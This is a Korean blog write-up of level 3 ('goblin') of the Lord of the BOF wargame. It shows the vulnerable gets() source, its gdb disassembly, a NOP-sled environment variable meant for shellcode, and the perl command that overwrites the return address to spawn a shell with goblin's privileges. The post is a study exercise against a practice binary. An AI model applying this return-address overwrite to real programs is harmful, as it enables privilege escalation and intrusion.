티스토리 뷰


BOF 3단계 입니다.


이전 문제풀이와 마찬가지로 bash가 아닌 bash2 에서 실행하도록 하겠습니다.


홈 디렉토리로 가보면 goblin.cgoblin 실행파일이 있습니다.


우선 goblin.c 를 까보겠습니다.

Colored By Color Scripter

1
2
3
4
5
6
7
8
9
10
11
12
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/
 
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}


argc와 argv를 사용하고 않은 표준입력으로 buffer에 데이터를 받습니다.


gets 는 입력길이를 검사하지 않으므로 BOF 취약함수 이므로 gets 를 사용해 ret를 노려보겠습니다.


정확한 ret 위치를 구하기 위해 gdb로 까봅니다.


$ gdb goblin

(gdb) set disassembly-flavor intel

(gdb) disas main


1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x80483f8 <main>:    push   %ebp
0x80483f9 <main+1>:    mov    %ebp,%esp
0x80483fb <main+3>:    sub    %esp,16
0x80483fe <main+6>:    lea    %eax,[%ebp-16]
0x8048401 <main+9>:    push   %eax
0x8048402 <main+10>:    call   0x804830c <gets>
0x8048407 <main+15>:    add    %esp,4
0x804840a <main+18>:    lea    %eax,[%ebp-16]
0x804840d <main+21>:    push   %eax
0x804840e <main+22>:    push   0x8048470
0x8048413 <main+27>:    call   0x804833c <printf>
0x8048418 <main+32>:    add    %esp,8
0x804841b <main+35>:    leave  
0x804841c <main+36>:    ret

gets 에서 인자를 buffer 하나만을 받으므로 buffer의 위치는 ebp-16 인 것을 알 수 있습니다.

buffer에 20 byte를 입력하면 ret 에 접근할 수 있습니다.


우선 buffer의 크기가 충분하지 않기 때문에(16 byte) 환경변수를 사용하도록 하겠습니다.

export 명령어를 통해 환경변수를 등록합니다.

export YoWu=`perl -e 'print "\x90"x512, "쉘코드 61byte';`


그리고 등록한 환경변수의 주소 값을 확인하기 위해 간단한 C를 후딱 짭니다.

getenv.c
1
2
3
4
5
6
#include "stdio.h"
 
void main()
{
    printf("%x\n", getenv("YoWu"));
}


그리고 gcc 로 컴파일 한 후 실행시켜 보면



현재 YoWu 환경변수의 대략적인 위치가 0xbffffd06 임을 확인 할 수 있습니다.



perl 구문을 짜보도록 하겠습니다.


perl -e 'print "a"x20, "\x06\xfd\xff\xbf"';

(쓰레기 값 20 byte + YoWu의 주소 값)


이번 문제에서는 표준입력으로 buffer를 입력받기 때문에 표준입력으로 

perl 구문을 사용하기 위해 파이프(|)를 사용하도록 하겠습니다.


(perl -e 'print "a"x20, "\x06\xfd\xff\xbf"';cat) | ~/goblin

(표준입력으로 perl 구문을 사용할 때는 ;뒤에 cat이 들어갑니다

왜 그런지는 나중에 perl 공부한 후에 알려드릴게요.)




쉘을 딸 수 있었으며 권한이 goblin으로 상승한 것을 확인 할 수 있습니다.

goblin의 비밀번호는 




프로필사진

Yowu (Yu Yongwoo)

흔한 백엔드 개발자입니다
우분투 데스크탑 개발 환경을 선호합니다
최근에는 vscode에 neovim 모드 올려서 쓰고 있습니다
개발용 키보드는 역시 해피해킹 프로2 무각입니다
락 밴드에서 드럼을 쳤습니다

«   2020/02   »
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
글 보관함
Total
2,651,887
Today
664
Yesterday
1,319